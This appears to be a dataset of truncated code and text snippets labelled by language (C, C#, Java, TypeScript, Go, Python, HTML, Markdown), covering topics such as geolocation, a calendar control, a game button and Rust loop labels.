at, double& bLon) { Location ptA(aLat, aLon); Location ptB; ptA.move(azimuth, distance, ptB); bLat = ptB.getLat(); bLon = ptB.getLon(); } inline void SlbmInterface::setInterpolatorType(const string& interpolatorType) { if (!grid) { ostringstream os; os << setiosflags(ios::fixed) << setiosflags(ios::showpoin...
C
endarScriptUrl == null || CssUrl == null || ImageUrl == null) { throw new ArgumentException("Missing one of the url properties"); } Page.ClientScript.RegisterClientScriptInclude("CalendarScriptInclude", CalendarScriptUrl); NameValueCollection queryString = HttpContext.Current.Request.QueryString; string te...
C#
); } public void setOpDisplay(int op) { if (op >= 0) { mOpSwitcher.setDisplayedChild(op); } } public void setOpSubDisplay(int opSub) { if (opSub < 0) { mLayoutOpSub.setVisibility(View.GONE); } else { mOpSubSwitcher.setDisplayedChild(o...
Java
const elem = document.querySelector("#startStageButton") as HTMLButtonElement; const challengeCount = this.player.environment.gameChallenges.currentGameChallenge.count; if (challengeCount === 1) { elem.textContent = "挑戦"; } else { elem.textContent = `再挑戦(${challe...
Typescript
Account.Value = chargeAmount addr, tx, b, err := bridge.DeployBridge(bridgeAccount, backend, false) if err != nil { t.Fatalf("fail to DeployBridge %v", err) } backend.Commit() WaitMined(tx, backend, t) t.Log("1. Bridge is deployed.", "addr=", addr.String(), "txHash=", tx.Hash().String()) requestValueTransferE...
Go
# -*- coding: utf-8 -*- """Materi-10-Metode-Regresi-Linear-Contoh3_Syafrudin Fahrul Anas.ipynb Automatically generated by Colab. Original file is located at https://colab.research.google.com/drive/1RM8ux5p9ebqw4zgWmB6mDiM12A7si7jx """ import numpy as np import matplotlib.pyplot as plt from sklearn.linear_model i...
Python
'\n' + '때때로 오라클 답변을 통해 오라클 답변 \\(A\\)에 액세스할 수 있으며, 이는 로컬 적응 및 추가 미세 조정을 통해 특정 도메인에 대한 모델의 성능을 더욱 향상시키는 데 사용할 수 있다. 결과적으로 이러한 목표 영역에 대한 성과는 블랙박스 교사 모델의 성과를 넘어설 수 있다. 증류 또는 표적 도메인 미세 조정을 통해 모델을 향상시키는 옵션을 탐색한다.\n' + '\n' + '이러한 시나리오에서 우리는 Rejection Sampling과 유사하게 분해기를 증류하기 위한 훈련 인스턴스를 선별하기 위해 \\(A\\...
HTML
`'label:`)**: 可以为循环添加标签,并与 `break` 或 `continue` 结合使用 (`break 'label;`, `continue 'label;`) 来控制嵌套循环中的非局部跳转。 ```rust 'outer: for i in 0..3 { for j in 0..3 { if i == 1 && j == 1 { println!("Skipping outer iteration from inner loop"); continue 'outer; // 跳到 i=2 的迭代 } if ...
Markdown